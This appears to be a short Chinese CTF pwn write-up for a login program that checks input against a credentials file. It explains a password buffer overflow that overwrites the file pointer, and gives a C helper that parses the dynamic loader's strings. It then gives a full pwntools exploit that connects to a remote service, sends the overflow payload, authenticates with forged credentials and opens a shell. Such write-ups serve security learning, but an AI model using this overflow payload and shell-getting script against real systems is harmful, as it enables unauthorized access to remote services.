保护
分析一下程序。
只能先login命令登陆。
login之后就输入用户名,密码。
用户名,密码输入的时候明显能看得到溢出。
要介绍个新函数。
C 库函数 char *strtok(char *str, const char *delim) 分解字符串 str 为一组字符串,delim 为分隔符。
程序从creds.txt文件中一行一行的读取,取第一个冒号后面的内容为用户名,取第二个冒号后面的内容为密码。
那么整个的流程就看得出来是读入用户名密码,然后跟文件中的进行比较,比较成功就登陆成功。
那么我们可以考虑将文件指针覆盖掉,就覆盖成它给的那个文件,那么我们先读出来那个文件里面有什么。
#include <stdio.h>
#include <string.h>
int main() {
FILE *f = fopen("/lib64/ld-linux-x86-64.so.2","r");
char *buf = NULL;
size_t n;
if (f == NULL) {
printf("error\n");
}
while (getline(&buf,&n,f) != -1) {
char* user = strtok(buf, ":");
char* pwd = strtok(0LL, ":");
printf("%s:%s\n",user,pwd);
}
fclose(f);
return 0;
}
要去vim里面去写,Dc里面过不去。strtok函数在string.h里面,注意加头文件。
然后里面随便找一组数据。就可以了。
#coding:utf8
from pwn import *
r = remote("111.200.241.244",57276)
r.sendline('login')
r.sendlineafter('Username: ','yongbaoii')
payload = 'a'*0x44 + p64(0x400200)
r.sendlineafter('Password: ',payload)
r.sendlineafter('Authentication failed!','login')
r.sendlineafter('Username: ','prelink checking')
r.sendlineafter('Password: ',' %s')
r.sendlineafter('Authenticated!','sh')
r.interactive()